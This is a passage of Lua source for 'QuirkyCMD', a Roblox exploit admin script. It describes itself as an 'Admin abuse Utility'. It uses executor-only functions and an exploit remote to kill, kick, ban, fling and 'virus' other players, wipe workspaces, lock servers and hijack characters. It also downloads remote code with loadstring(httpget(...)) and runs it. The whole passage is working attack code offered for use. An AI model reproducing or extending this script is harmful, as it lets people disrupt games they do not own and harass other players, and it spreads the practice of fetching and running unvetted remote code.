pairs(v:GetDescendants()) do if not (instance:IsA("Weld") or instance:IsA("Attachment") or v:IsA("Motor6D")) then continue end delete(instance) end if not (v:IsA("Weld") or v:IsA("Attachment") or v:IsA("Motor6D")) then continue end delete(v) end end, {}, 1) addCommand("noseats", function() for i,v in pairs(workspace:GetChildren()) do if players:GetPlayerFromCharacter(v) then continue end for _, instance in pairs(v:GetDescendants()) do if not (instance:IsA("VehicleSeat") or instance:IsA("Seat")) then continue end delete(instance) end if not (v:IsA("VehicleSeat") or v:IsA("Seat")) then continue end delete(v) end end, {}, 1) addCommand("nosounds",function() for i,v in pairs(game:GetDescendants()) do if not v:IsA("Sound") then continue end delete(v) end end, {}, 1) addCommand("noteams", function() for i,v in pairs(game:GetService("Teams")) do delete(v) end end, {}, 1) addCommand("clearlighting",function() for i,v in pairs(game:GetService("Lighting"):GetChildren()) do delete(v) end end, {}, 1) addCommand("shutdown", function() for i,v in pairs(players:GetPlayers()) do if i == 1 then continue end delete(v) end delete(localPlayer) end, {}, 2) addCommand("nuke",function() for i,v in pairs(workspace:GetChildren()) do delete(v) end for i,v in pairs(players:GetPlayers()) do if i == 1 then continue end delete(v) end end, {}, 2) addCommand("witherws",function(plrs, input) local speedInp = input:split(" ")[2] local speed = speedInp and tonumber(speedInp) or .25 local baseparts = {} for i,v in pairs(workspace:GetChildren()) do if players:FindFirstChild(v.Name) then continue end if v:IsA("BasePart") then table.insert(baseparts,v) end for i,instance in pairs(v:GetDescendants()) do if not instance:IsA("BasePart") then continue end table.insert(baseparts, instance) end end for i = 1, #baseparts do local len = #baseparts local part = baseparts[math.random(1,len)] if not part:IsDescendantOf(workspace) then continue end delete(part) task.wait(speed) end end, {}, 2) addCommand("wither",function(plrs, input) local speedInp = input:split(" ")[2] local speed = speedInp and tonumber(speedInp) or 1 local function decay(plr) local char = plr.Character if not char then return end local limbs = {} local shuffledLimbs = {} for i,v in pairs(char:GetChildren()) do if (not v:IsA("BasePart")) or (v.Name:find("Torso") or v.Name == "Head" or v.Name == "HumanoidRootPart") then continue end table.insert(limbs, v) end for i = 1, #limbs do local rng = math.random(#limbs) table.insert(shuffledLimbs , limbs[rng]) table.remove(limbs, rng) end for i,v in pairs(shuffledLimbs) do if not char:FindFirstChild(v.Name) then continue end if plr.Character ~= char then return end delete(v) table.remove(limbs,i) task.wait(speed) end local head = char:FindFirstChild("Head") if not head then return end delete(head) task.wait(0.1) for i,v in pairs(char:GetChildren()) do if not v:IsA("BasePart") then continue end delete(v) end end for i,v in pairs(plrs) do task.spawn(decay,v) end end, {"decay"}, 1) local infectSpeed = 1 local function infectPlayer(plr) local char = plr.Character if not char then return end debugPrint(`{plr.Name} was infected`) local limbs = {} local limbAmount local shuffledLimbs = {} for i,v in pairs(char:GetChildren()) do if (not v:IsA("BasePart")) or (v.Name:find("Torso") or v.Name == "Head" or v.Name == "HumanoidRootPart") then continue end table.insert(limbs, v) end limbAmount = #limbs for i = 1, #limbs do local rng = math.random(#limbs) table.insert(shuffledLimbs , limbs[rng]) table.remove(limbs, rng) end for i,v in pairs(shuffledLimbs) do task.wait((45/limbAmount) * infectSpeed) local infectedIndex = table.find(infected,plr) if not char:FindFirstChild(v.Name) then continue end if plr.Character ~= char then return end delete(v) table.remove(limbs,i) end local head = char:FindFirstChild("Head") if head then delete(head) task.wait(0.1) end for i,v in pairs(char:GetChildren()) do if not v:IsA("BasePart") then continue end delete(v) end table.remove(infected,table.find(infected,plr)) end table.insert(genv.connections,rs.Heartbeat:Connect(function() for i,v in pairs(infected) do local char = v.Character if not char then continue end local hum = char:FindFirstChild("Humanoid") if hum and hum.Health <= 0 then table.remove(infected,table.find(infected,v)) continue end local hrp = hum and hum.RootPart or char:FindFirstChild("HumanoidRootPart") if not hrp then continue end for i,v in pairs(players:GetPlayers()) do if table.find(infected,v) then continue end local tchar = v.Character if not tchar then continue end local thum = tchar:FindFirstChild("Humanoid") local thrp = thum and thum.RootPart or tchar:FindFirstChild("HumanoidRootPart") if not thrp then continue end if (thrp.Position - hrp.Position).Magnitude >= 5 then continue end table.insert(infected, v) task.spawn(infectPlayer,v) end end end)) addCommand("virus",function(plrs, input) local speedInp = input:split(" ")[2] local speed = speedInp and tonumber(speedInp) or 0 infectSpeed = speed for i,v in pairs(plrs) do table.insert(infected,v) task.spawn(infectPlayer,v) end end, {"infect"}, 1) addCommand("unvirus", function(plrs) for i,v in pairs(plrs) do local index = table.find(infected,v) if index then table.remove(infected,index) end end end, {"uninfect", "cure"}, 1) table.insert(genv.connections, rs.Heartbeat:Connect(function() for name, range in pairs(killauras) do local plr = players:FindFirstChild(name) if not plr then killauras[name] = nil continue end local char = plr.Character if not char then continue end local pos = char:GetPivot().Position for i,v in pairs(players:GetPlayers()) do if v == plr then continue end local tchar = v.Character if not tchar then continue end local tpos = tchar:GetPivot().Position local distance = (pos - tpos).Magnitude if distance > range then continue end local hum = tchar:FindFirstChild("Humanoid") if hum and hum.Health <= 0 then continue end runCommand("kill",{v}) end end end)) addCommand("killaura",function(plrs, input) local plrs = (#plrs > 0 and plrs) or ({localPlayer}) local split = input:split(" ") local range = tonumber(split[#split]) or 10 for i,v in pairs(plrs) do killauras[v.Name] = range end end, {"aura"}, 1) addCommand("unkillaura",function(plrs) for i,v in pairs(plrs) do killauras[v.Name] = nil end end, {"unaura"}, 1) table.insert(genv.connections, rs.Heartbeat:Connect(function() for name, range in pairs(kickauras) do local plr = players:FindFirstChild(name) if not plr then kickauras[name] = nil continue end local char = plr.Character if not char then continue end local pos = char:GetPivot().Position for i,v in pairs(players:GetPlayers()) do if v == nil or v == plr then continue end local tchar = v.Character if not tchar then continue end local tpos = tchar:GetPivot().Position local distance = (pos - tpos).Magnitude if distance > range then continue end delete(v) end end end)) addCommand("kickaura",function(plrs, input) local plrs = (#plrs > 0 and plrs) or ({localPlayer}) local split = input:split(" ") local range = tonumber(split[#split]) or 3 for i,v in pairs(plrs) do kickauras[v.Name] = range end end, {}, 2) addCommand("unkickaura",function(plrs) for i,v in pairs(plrs) do kickauras[v.Name] = nil end end, {}, 2) addCommand("close", abort, {}, 3) local flyLoop addCommand("fly",function() -- original made by apeyton local hum = character:FindFirstChildOfClass("Humanoid") if not hum then return end local hrp = character:FindFirstChild("HumanoidRootPart") if not hrp then return end hum.PlatformStand = true hrp.Anchored = true if flyLoop then flyLoop:Disconnect() end flyLoop = rs.Heartbeat:Connect(function(deltaTime) local moveDir = hum.MoveDirection * (flySpeed * deltaTime) local hrpCF = hrp.CFrame local cameraCF = camera.CFrame local cameraOffset = hrpCF:ToObjectSpace(cameraCF).Position + hum.CameraOffset cameraCF = cameraCF * CFrame.new(-cameraOffset.X, -cameraOffset.Y, -cameraOffset.Z + 1) local cameraPos = cameraCF.Position local hrpPos = hrpCF.Position local objectSpaceVelocity = CFrame.new(cameraPos, Vector3.new(hrpPos.X, cameraPos.Y, hrpPos.Z)):VectorToObjectSpace(moveDir) hrp.CFrame = CFrame.new(hrpPos) * (cameraCF - cameraPos) * CFrame.new(objectSpaceVelocity) end) end, {}, 3) addCommand("unfly",function() if not flyLoop then return end flyLoop:Disconnect() local hum = character:FindFirstChildOfClass("Humanoid") if hum then hum.PlatformStand = false end local hrp = character:FindFirstChild("HumanoidRootPart") if hrp then hrp.Anchored = false end end, {}, 3) addCommand("flyspeed",function(plrs, input) flySpeed = tonumber(input) or 50 end, {}, 3) addCommand("walkspeed", function(plrs, input) local speed = tonumber(input) or 16 local humanoid = character:FindFirstChild("Humanoid") if not humanoid then return end humanoid.WalkSpeed = speed end, {"speed", "ws"}, 3) addCommand("jumppower", function(plrs, input) local jp = tonumber(input) or 50 local humanoid = character:FindFirstChild("Humanoid") if not humanoid then return end humanoid.JumpPower = jp end, {"jp"}, 3) local noclipLoop addCommand("noclip", function() if noclipLoop then noclipLoop:Disconnect() end noclipLoop = rs.Stepped:Connect(function() for i,v in pairs(character:GetDescendants()) do if not (v:IsA("BasePart") and v.CanCollide) then continue end v.CanCollide = false end end) end, {"nc"}, 3) addCommand("clip",function() if noclipLoop then noclipLoop:Disconnect() end end, {"c"}, 3) -- credits to hydroprocessed for the original hat orbit script <3 addCommand("hatorbit",function() -- .offset (how close the hats are to you) -- .mode 1-11 (different modes up to 11) -- .speed (how fast the hats move) -- .angular x y z (how fast the hats rotate) local char = character local hum = char:FindFirstChild("Humanoid") if not hum then return end local hats = {} local mov = {} local mov2 = {} local function breakJoints(model) for i,v in pairs(model:GetDescendants()) do if not v:IsA("JointInstance") then continue end delete(v) end end local function ftp(str) local pt = {} if str ~= "me" and str ~= "random" then for i, v in pairs(players:GetPlayers()) do if v.Name:lower():find(str:lower()) then table.insert(pt, v) end end elseif str == "me" then table.insert(pt, localPlayer) elseif str == "random" then table.insert(pt, players:GetPlayers()[math.random(1, #players:GetPlayers())]) end return pt end for i,v in pairs(hum:GetAccessories()) do local handle = v:FindFirstChild("Handle") if not handle then continue end table.insert(hats,v) end for _, v in pairs(hats) do local handle = v.Handle handle.CustomPhysicalProperties = PhysicalProperties.new(0, 0, 0, 0, 0) handle.CanCollide = false breakJoints(handle) repeat task.wait() until handle:FindFirstChildOfClass("Weld") == nil local still = Instance.new("BodyAngularVelocity", handle) still.MaxTorque = Vector3.new(math.huge, math.huge, math.huge) still.AngularVelocity = Vector3.new(0, 0, 0) local align = Instance.new("AlignPosition", handle) align.MaxForce = 1000000 align.MaxVelocity = math.huge align.RigidityEnabled = false align.ApplyAtCenterOfMass = true align.Responsiveness = 200 local a0 = Instance.new("Attachment", handle) local a1 = Instance.new("Attachment", char.Head) align.Attachment0 = a0 align.Attachment1 = a1 table.insert(mov, a1) table.insert(mov2, still) end local velocityCon = rs.Heartbeat:connect(function() for i,v in pairs(hats) do local handle = v:FindFirstChild("Handle") if not handle then continue end handle.Velocity = Vector3.new(0,30,0) end end) table.insert(genv.connections, velocityCon) local par = {} local partsFolder = Instance.new("Folder", char) partsFolder.Name = "wacky parts folder" for _, v in pairs(mov) do local part = Instance.new("Part", partsFolder) part.Anchored = true part.Size = Vector3.new(1, 1, 1) part.Transparency = 1 part.CanCollide = false table.insert(par, part) end local rotx = 0 local rotz = math.pi / 2 local height = 0 local heighti = 1 local offset = 10 local speed = 0.5 local mode = 4 local angular = Vector3.new(0, 0, 0) local l = 1 local alignCon = rs.RenderStepped:Connect(function() rotx = rotx + speed / 100 rotz = rotz + speed / 100 l = (l >= 360 and 1 or l + speed) for i, v in pairs(par) do v.CFrame = CFrame.new(char.HumanoidRootPart.Position) * CFrame.fromEulerAnglesXYZ(0, math.rad(l + (360 / #par) * i + speed), 0) * CFrame.new(offset, 0, 0) end if heighti == 1 then height = height + speed / 100 elseif heighti == 2 then height = height - speed / 100 end if height > 2 then heighti = 2 end if height < -1 then heighti = 1 end if mode == 1 then for _, v in pairs(mov) do v.Position = Vector3.new(math.sin(rotx) * offset, 0, math.sin(rotz) * offset) end elseif mode == 2 then for _, v in pairs(mov) do v.Position = Vector3.new(offset, height, offset) end elseif mode == 3 then for _, v in pairs(mov) do v.Position = Vector3.new(math.sin(rotx) * offset, height, math.sin(rotz) * offset) end elseif mode == 4 then for i, v in pairs(mov) do v.Position = Vector3.new(char.HumanoidRootPart.CFrame:ToObjectSpace(CFrame.new(par[i].Position)).X, char.HumanoidRootPart.CFrame:ToObjectSpace(CFrame.new(par[i].Position)).Y, char.HumanoidRootPart.CFrame:ToObjectSpace(CFrame.new(par[i].Position)).Z) end elseif mode == 5 then for i, v in pairs(mov) do v.Position = Vector3.new((math.sin(rotx)) * offset, height, (math.cos(rotz) - i) * offset) end elseif mode == 6 then for i, v in pairs(mov) do v.Position = Vector3.new((math.sin(rotx)) * offset, height, (math.tan(rotz) - i) * offset) end elseif mode == 7 then for i, v in pairs(mov) do v.Position = Vector3.new(math.cos(rotx * i) * offset, 0, math.cos(rotz * i) * offset) end elseif mode == 8 then for i, v in pairs(mov) do v.Position = Vector3.new(math.sin(rotx) * i * offset, 0, math.sin(rotz) * i * offset) end elseif mode == 9 then pcall(function() local so = nil for k, b in pairs(char:GetChildren()) do if not b:IsA"Tool" then for h, j in pairs(b:GetDescendants()) do if j:IsA"Sound" then so = j end end end end if so ~= nil then offset = so.PlaybackLoudness / 35 speed = so.PlaybackLoudness / 500 angular = Vector3.new(0, so.PlaybackLoudness / 75, 0) end end) for i, v in pairs(mov) do v.Position = Vector3.new(char.HumanoidRootPart.CFrame:ToObjectSpace(CFrame.new(par[i].Position)).X, char.HumanoidRootPart.CFrame:ToObjectSpace(CFrame.new(par[i].Position)).Y, char.HumanoidRootPart.CFrame:ToObjectSpace(CFrame.new(par[i].Position)).Z) end elseif mode == 10 then offset = height * 15 for i, v in pairs(mov) do v.Position = Vector3.new(char.HumanoidRootPart.CFrame:ToObjectSpace(CFrame.new(par[i].Position)).X, char.HumanoidRootPart.CFrame:ToObjectSpace(CFrame.new(par[i].Position)).Y, char.HumanoidRootPart.CFrame:ToObjectSpace(CFrame.new(par[i].Position)).Z) end elseif mode == 11 then for i, v in pairs(mov) do v.Position = Vector3.new(char.HumanoidRootPart.CFrame:ToObjectSpace(CFrame.new(localPlayer:GetMouse().Hit.p)).X, char.HumanoidRootPart.CFrame:ToObjectSpace(CFrame.new(localPlayer:GetMouse().Hit.p)).Y, char.HumanoidRootPart.CFrame:ToObjectSpace(CFrame.new(localPlayer:GetMouse().Hit.p)).Z) + Vector3.new(char.HumanoidRootPart.CFrame:ToObjectSpace(CFrame.new(par[i].Position)).X, char.HumanoidRootPart.CFrame:ToObjectSpace(CFrame.new(par[i].Position)).Y, char.HumanoidRootPart.CFrame:ToObjectSpace(CFrame.new(par[i].Position)).Z) end end for _, v in pairs(mov2) do v.AngularVelocity = angular end end) local chatCon local function onChat(data) local c = modernChat and data.Text or data local plr = modernChat and players:GetPlayerByUserId(data.TextSource.UserId) or localPlayer if plr ~= localPlayer then return end if c:split(" ")[1] == ".orbit" then for _, v in pairs(mov) do char = ftp(c:split(" ")[2])[1].Character v.Parent = ftp(c:split(" ")[2])[1].Character.HumanoidRootPart end end if c:split(" ")[1] == ".speed" then speed = tonumber(c:split(" ")[2]) end if c:split(" ")[1] == ".mode" then mode = tonumber(c:split(" ")[2]) end if c:split(" ")[1] == ".offset" then offset = tonumber(c:split(" ")[2]) end if c:split(" ")[1] == ".angular" then angular = Vector3.new(tonumber(c:split(" ")[2]), tonumber(c:split(" ")[3]), tonumber(c:split(" ")[4])) end end if modernChat then game:GetService("TextChatService").TextChannels["RBXGeneral"].OnIncomingMessage = function(data) task.spawn(onChat,data) handleChat(data) end else chatCon = localPlayer.Chatted:Connect(onChat) table.insert(genv.connections, chatCon) end local diedCon = hum.Died:Connect(function() alignCon:Disconnect() velocityCon:Disconnect() if not modernChat then chatCon:Disconnect() else game:GetService("TextChatService").TextChannels["RBXGeneral"].OnIncomingMessage = function(data) handleChat(data) end end end) table.insert(genv.connections, diedCon) end, {}, 3) -- credits to @xyzkade and @deuces1961 for Kade's reanim as a base local function loadReanim() local char = localPlayer.Character or localPlayer.CharacterAdded:Wait() local hum = char:WaitForChild("Humanoid") local simRadius = gethiddenproperty and gethiddenproperty(localPlayer,"SimulationRadius") local requiredRadius = 20 local isR15 = hum.RigType == Enum.HumanoidRigType.R15 local forcefield = char:FindFirstChildOfClass("ForceField") local fakeHum = hum:Clone() local hrp = char:WaitForChild("HumanoidRootPart") local hrpCF = hrp.CFrame local stopAlign = false local stopAntiVoid = false local limbs = {} local hatHandles = {} local reanimConnections = {} runCommand("clip") if simRadius and simRadius < requiredRadius then repeat notify("Please wait",`Waiting for bigger SimulationRadius ({tostring(math.floor(simRadius))}/{tostring(requiredRadius)})`, 2) task.wait(2) until gethiddenproperty(localPlayer,"SimulationRadius") >= requiredRadius if localPlayer.Character == nil or localPlayer.Character ~= char or hum.Parent == nil or hum.Health <= 0 then return end end if forcefield then forcefield:Destroy() end char.Archivable = true local rig = (not isR15) and char:Clone() if isR15 then local canGetObjects, loadedRig = pcall(function() return game:GetObjects("rbxassetid://18418211383")[1] end) local r6Rig = isTesting and rStorage:WaitForChild("R6Rig") or canGetObjects and loadedRig or loadstring(httpget("https://gist.githubusercontent.com/someunknowndude/ad264038a91f7fa11bec2f67dad3feaf/raw"))() local humDesc = players:GetCharacterAppearanceAsync(localPlayer.UserId) local r6Head = r6Rig.Head local r15Head = char.Head local surfaceAppearance = r15Head:FindFirstChildOfClass("SurfaceAppearance") local face = r15Head:FindFirstChild("face") if surfaceAppearance then surfaceAppearance:Clone().Parent = r6Head else --if face then r6Head.face.Texture = face.Texture end --r6Head.face.Transparency = 0 end for i,v in pairs(r15Head:GetChildren()) do if not v:IsA("Attachment") then continue end v:Clone().Parent = r6Head end for i,v in pairs(humDesc:GetDescendants()) do if v:IsA("BodyColors") or v:IsA("CharacterMesh") or v:IsA("ShirtGraphic") then v.Parent = r6Rig continue end if v:IsA("Accessory") or v:IsA("Hat") then r6Rig:WaitForChild("Humanoid"):AddAccessory(v) end end rig = r6Rig else local mesh = char.Head:FindFirstChildOfClass("SpecialMesh") local face = char.Head:FindFirstChild("face") if mesh and face then delete(face) end end local rigHRP = rig:WaitForChild("HumanoidRootPart") local rigHum = rig:FindFirstChild("Humanoid") rig.Name = "wacky reanim rig" for i,v in pairs(char:GetChildren()) do if not v:IsA("BasePart") then continue end table.insert(limbs, {v,rig[v.Name]}) end local accessories = hum:GetAccessories() local rigAccessories = rigHum:GetAccessories() for i,v in pairs(accessories) do if not isR15 then table.insert(hatHandles,{v.Handle,rigAccessories[i].Handle}) continue end for _,rigAcc in pairs(rigAccessories) do local handle = rigAcc.Handle local mesh = handle:FindFirstChildOfClass("SpecialMesh") or handle local texture = handle == mesh and mesh.TextureID or mesh.TextureId if not (rigAcc.Name == v.Name and mesh.MeshId == v.Handle.MeshId and texture == v.Handle.TextureID) then continue end table.insert(hatHandles,{v.Handle,rigAcc.Handle}) continue end end local clock = os and os.clock or tick local cos = math.cos local sin = math.sin local cfNew = CFrame.new local cfZero = CFrame.identity local v3New = Vector3.new local v3Zero = Vector3.zero local changedMaxSimRad = pcall(sethiddenproperty, localPlayer, "MaximumSimulationRadius", 1000) local changedSimRad = pcall(sethiddenproperty, localPlayer, "SimulationRadius", 1000) local netlessCF = cfZero local sineValue = 0 local function align(part0, part1, offset) if stopAlign then return end if part0 and part0.Parent and part1 and part1.Parent then local part0_mass = part1.Mass * 5 part0.AssemblyLinearVelocity = v3New(part1.AssemblyLinearVelocity.X * part0_mass, sineValue, part1.AssemblyLinearVelocity.Z * part0_mass) part0.AssemblyAngularVelocity = part1.AssemblyAngularVelocity if isnetworkowner(part0) then part0.CFrame = part1.CFrame * offset end end end local function setCamera(model) local oldCamCF = camera.CFrame camera.CameraSubject = model.Humanoid camera:GetPropertyChangedSignal("CFrame"):Once(function() camera.CFrame = oldCamCF end) end local function disableCollisions(model,canTouchAndCast) for _, part in next, model:GetDescendants() do if part and part:IsA("BasePart") then part.CanCollide = false part.CanQuery = canTouchAndCast part.CanTouch = canTouchAndCast end end end local function makeTransparent(model) for i,v in pairs(model:GetDescendants()) do if not (v:IsA("BasePart") or v:IsA("Decal")) then continue end v.Transparency = 1 end end local function breakJoints(model) for i,v in pairs(model:GetDescendants()) do if not v:IsA("JointInstance") then continue end delete(v) end end local function removeScripts(model) for i,v in pairs(model:GetChildren()) do if not (v:IsA("Script") or v:IsA("LocalScript") or v:IsA("ModuleScript") or v.Name == "Animate") then continue end delete(v) end end local function removeTouchTriggers(model) for i,v in pairs(model:GetDescendants()) do if not v:IsA("TouchTransmitter") then continue end delete(v) end end local function onPostSim() for _, data in next, limbs do align(data[1], data[2],netlessCF) end for _, data in next, hatHandles do align(data[1], data[2], netlessCF) end end local function onPreSim() netlessCF = cfNew(0.01 * sin(clock()*16), 0, 0.01 * math.cos(clock()*16)) sineValue = 40 - 3 * sin(clock()*10) if stopAntiVoid or rigHRP.Position.Y > (workspace.FallenPartsDestroyHeight + 50) then return end rigHRP.CFrame = hrpCF rigHRP.AssemblyLinearVelocity = v3Zero rigHRP.AssemblyAngularVelocity = v3Zero end rigHRP.CFrame = hrpCF rig.Parent = workspace localPlayer.Character = rig setCamera(rig) rig.Animate.Enabled = false rig.Animate.Enabled = true hum:ChangeState(Enum.HumanoidStateType.Physics) repeat task.wait() until limbs[3][1].CanCollide task.wait(0.05) delete(hum) repeat task.wait() until hum.Parent == nil task.wait() fakeHum.Parent = char task.wait() table.insert(reanimConnections, rs.PreSimulation:Connect(onPreSim)) table.insert(reanimConnections, rs.PostSimulation:Connect(onPostSim)) table.insert(reanimConnections, rs.Stepped:Connect(function() disableCollisions(char,false) disableCollisions(rig,true) end)) breakJoints(char) makeTransparent(char) removeScripts(char) removeTouchTriggers(char) genv.LoadLibrary = function(lib) return loadstring(httpget("https://raw.githubusercontent.com/Roblox/Core-Scripts/master/CoreScriptsRoot/Libraries/" .. lib .. ".lua"))() end local reset = Instance.new("BindableEvent") reset.Event:Connect(function() if stopAlign then local hum = character:FindFirstChildOfClass("Humanoid") if not hum then return character:BreakJoints() end hum.Health = 0 return end notify("Resetting", "Please wait ~6 seconds", 6) stopAntiVoid = true rigHRP.Anchored = true rigHRP.CFrame = CFrame.new(0,workspace.FallenPartsDestroyHeight + 5,0) task.wait(0.5) stopAlign = true rigHum:ChangeState(Enum.HumanoidStateType.Dead) localPlayer.CharacterAdded:Wait() rig:Destroy() for i,v in pairs(reanimConnections) do v:Disconnect() end end) sgui:SetCore("ResetButtonCallback", reset) notify("Success!", "reanim loaded!") end addCommand("reanim",function() task.spawn(loadReanim) end, {"reanimate"}, 3) --[[Add scrolling command list]]-- local scrollText = "QuirkyCMD made by Cynatica | the best Admin abuse Utility! | " if not isMobile then scrollText ..= "press ; to open/hide the Ui | " end local charCount = 12 local spaces = 0 local scrollSpeed = 0.12 -- sec/char local sample = scrollText..string.rep(" ", spaces) local displayString = sample:sub(1, charCount) local strlen = string.len(sample) local counter = 1 local timer = 0 for i,v in pairs(scrollText:split("")) do if v ~= " " then continue end spaces += 1 end table.insert(genv.connections, rs.Heartbeat:Connect(function(dt) timer += dt if timer > scrollSpeed then while timer > scrollSpeed do timer -= scrollSpeed counter = (counter + 1)%strlen end if counter + charCount <= strlen then displayString = sample:sub(counter, counter + charCount) else displayString = sample:sub(counter, strlen)..sample:sub(1, counter + charCount - strlen) end end box.PlaceholderText = (("%s"):format(displayString)) end)) --[[Sort commands alphabetically]]-- table.sort(commands, function(a,b) return a.name < b.name end) --[[Command list with every description.]]-- local cmdData = { ["admin"] = "Grants or removes admin permissions", ["aliases"] = "Prints all command aliases.", ["bald"] = "Removes all accessories from the character, making them bald.", ["ban"] = "Bans players by their UserId and deletes them from the server.", ["bang"] = "Plays a 'bang' animation and attaches to the target player.", ["baseplate"] = "Deletes everything in the workspace except large or nearby baseplates.", ["bighats"] = "Enlarges R15 hats by deleting scale values and original sizes.", ["blockhats"] = "Removes hat meshes for R6 characters.", ["blockhead"] = "Removes head mesh for R6 characters.", ["blocktools"] = "Removes any meshes from tool handles, cleaning up their visuals.", ["bring"] = "Teleports another player to you using tool teleportation. Teleports another player to you using tool teleportation.", ["btools"] = "Manipulates tools (give/remove)", ["clearbans"] = "Clears the ban list.", ["cleargui"] = "Removes all GUI elements from the screen (from sgui).", ["clearlighting"] = "Deletes all Lighting service children.", ["clearstarter"] = "Clears StarterGui, StarterPack, and StarterPlayer scripts except for whitelisted items.", ["clearstorage"] = "Deletes all objects in ReplicatedStorage except the exploit remote and chat folders.", ["clearws"] = "Clears the workspace of all non-player items.", ["clickdelete"] = "Enables click-to-delete mode by targeting with your mouse.", ["clip"] = "Disables noclip mode, restoring normal collision.", ["cmds"] = "Shows the command UI", ["control"] = "Takes control of another player's character using tool-based hijacking.", ["deletename"] = "Deletes any object in the game whose name matches the given text.", ["droptools"] = "Deletes player's tool when they equip it, simulating a drop and break.", ["explorer"] = "Opens a dark-themed Dex Explorer GUI.", ["fakechat"] = "Makes your character appear like it's chatting and automatically follows another player.", ["fling"] = "Flings a player using physics-based forces by touching their character.", ["fly"] = "Enables flight mode by manipulating the character’s root part position.", ["flyspeed"] = "Sets the speed multiplier for flight movement.", ["freeze"] = "Stops all character movement by anchoring and platform-standing the humanoid.", ["givetools"] = "Teleports your tools into the target player’s position to force equip.", ["goto"] = "Teleports you to the target player's position.", ["grabtools"] = "Pulls all tools in the workspace to your character.", ["gun"] = "Manipulates tools (give/remove)", ["hatorbit"] = "Makes your hats orbit around your character using physics alignment.", ["invisible"] = "Makes the character invisible using transparency tricks or HRP deletion.", ["jumppower"] = "Sets the jump power of your humanoid.", ["kick"] = "Deletes the player from the game (client-side).", ["kickaura"] = "Automatically kicks players who get too close (within a specified range).", ["kill"] = "Deletes the Neck joint, killing the player.", ["killaura"] = "Auto-kills nearby players in a loop based on a range.", ["korblox"] = "Deletes the character’s right leg to simulate the Korblox avatar.", ["legwalk"] = "Deletes upper arms, waist joint, and accessories to make a leg-only walking rig.", ["lockws"] = "Prevents new non-player objects from being added to the workspace by deleting them as they appear.", ["loopkill"] = "Repeatedly executes the kill command on target players every frame.", ["mute"] = "Deletes TextChatService text channels of players to mute them. Does not work in legacy chat.", ["naked"] = "Removes Pants, Shirt, and Shirt Graphic along with WrapLayer elements, making the character visually naked.", ["noanims"] = "Deletes the Animator and Animate script from a player to completely stop all animations.", ["noarms"] = "Deletes all arm parts from a character (any limb with 'arm' in its name).", ["nochat"] = "Deletes chat UIs or channels, disabling chat.", ["noclip"] = "Disables collisions on all character parts, allowing walking through objects.", ["noface"] = "Deletes all face decals from the player’s head.", ["nolegs"] = "Deletes legs and feet from a character.", ["nolimbs"] = "Deletes all arm and leg parts.", ["noseats"] = "Deletes all Seats and VehicleSeats in the workspace.", ["nosounds"] = "Deletes all Sound objects across the entire game.", ["nospawns"] = "Deletes all SpawnLocation instances.", ["nostats"] = "Deletes the leaderstats folder from a player.", ["noteams"] = "Deletes all Teams in the game.", ["notextures"] = "Deletes all Decals and Textures in the workspace.", ["notools"] = "Manipulates tools (give/remove)", ["nuke"] = "Deletes all workspace objects and players (except local player).", ["owner"] = "Promotes a player to privilege level 2 (Owner).", ["punch"] = "Gives the player a punch tool that can kill others on contact.", ["punish"] = "Deletes the entire character of the target player.", ["ragdoll"] = "Deletes HumanoidRootPart from a player, causing a ragdoll effect.", ["ranks"] = "Prints a list of all admins and owners.", ["reanim"] = "Starts a reanimation routine (not fully implemented in visible script).", ["rejoin"] = "Teleports the player (rejoin or server hop)", ["rescale"] = "Deletes avatar scaling values (HeightScale, WidthScale, etc.).", ["reset"] = "Moves character parts to kill the player and trigger a respawn.", ["serverlock"] = "Prevents players from joining the server by deleting them on join.", ["setbind"] = "Sets the keybinding to toggle the command bar.", ["setprefix"] = "Changes the prefix used to enter commands.", ["shutdown"] = "Deletes all players (including local) to force a shutdown.", ["silentkill"] = "Same as kill, but also deletes the character afterward.", ["sink"] = "Deletes the humanoid from players, disabling movement.", ["skydive"] = "Teleports a player high into the air and lets them fall.", ["stealtools"] = "Steals tools from another player’s character after killing them.", ["stripidentity"] = "Executes naked, bald, and noface on a target.", ["torsofling"] = "Uses the torso to fling people by adding velocity.", ["unadmin"] = "Grants or removes admin permissions", ["unban"] = "Removes players from the ban list.", ["unbang"] = "Stops the bang animation.", ["unclickdelete"] = "Disables the click-to-delete mode.", ["unfly"] = "Disables fly mode and restores default movement.", ["unkickaura"] = "Disables automatic kicking of nearby players.", ["unkillaura"] = "Disables automatic killing of nearby players.", ["unlockws"] = "Stops workspace anti-creation protection (lockws).", ["unloopkill"] = "Removes players from the loopkill list.", ["unowner"] = "Removes a player's owner privileges.", ["unserverlock"] = "Disables the server lock.", ["unsit"] = "Forces players to stand by deleting seat welds.", ["untorsofling"] = "Disables torso fling mode.", ["unview"] = "Resets the camera from spectating another player.", ["unvirus"] = "Cancels the effects of virus.", ["unweldws"] = "Deletes all Welds, Attachments, and Motor6Ds from workspace parts.", ["view"] = "Changes your camera to follow the target player.", ["virus"] = "Infects players or the workspace with destructive behavior.", ["walkspeed"] = "Sets your walk speed.", ["wither"] = "Slowly deletes limbs from players over time.", ["witherws"] = "Slowly deletes workspace parts over time.", ["close"] = "Safely shuts down QuirkyCMD by destroying the UI and disconnecting all events.", } --[[right scaling and creation of the command list with its description.]]-- for _, v in ipairs(commands) do local level = v.securityLevel local name = v.name local clone = cmdTemplate:Clone() local desc = cmdData[name:lower()] or "No description available" clone.Text = name .. ` ({rankNames[level]}) - ` .. desc clone.Font = Enum.Font.Gotham clone.TextSize = 13 clone.TextColor3 = Color3.new(1, 1, 1) clone.TextWrapped = true clone.TextScaled = false clone.TextXAlignment = Enum.TextXAlignment.Left clone.TextYAlignment = Enum.TextYAlignment.Top clone.LineHeight = 1.1 clone.Size = UDim2.new(1, 0, 0, 40) clone.BackgroundColor3 = Color3.fromRGB(30, 30, 30) clone.BorderSizePixel = 0 clone.Visible = true local corner = Instance.new("UICorner") corner.CornerRadius = UDim.new(0, 6) corner.Parent = clone local padding = Instance.new("UIPadding") padding.PaddingTop = UDim.new(0, 5) padding.PaddingBottom = UDim.new(0, 5) padding.PaddingLeft = UDim.new(0, 10) padding.PaddingRight = UDim.new(0, 10) padding.Parent = clone clone.Parent = cmdsList end closeButton.MouseButton1Click:Connect(function() cmdsFrame.Visible = false end) --[[Add drag functionality]]-- local dragging local dragInput local dragStart local startPos local lastMousePos local lastGoalPos local dragSpeed = 20 local function update(dt) if not (startPos) then return end if not (dragging) and (lastGoalPos) then cmdsFrame.Position = UDim2.new(startPos.X.Scale, lerp(cmdsFrame.Position.X.Offset, lastGoalPos.X.Offset, dt * dragSpeed), startPos.Y.Scale, lerp(cmdsFrame.Position.Y.Offset, 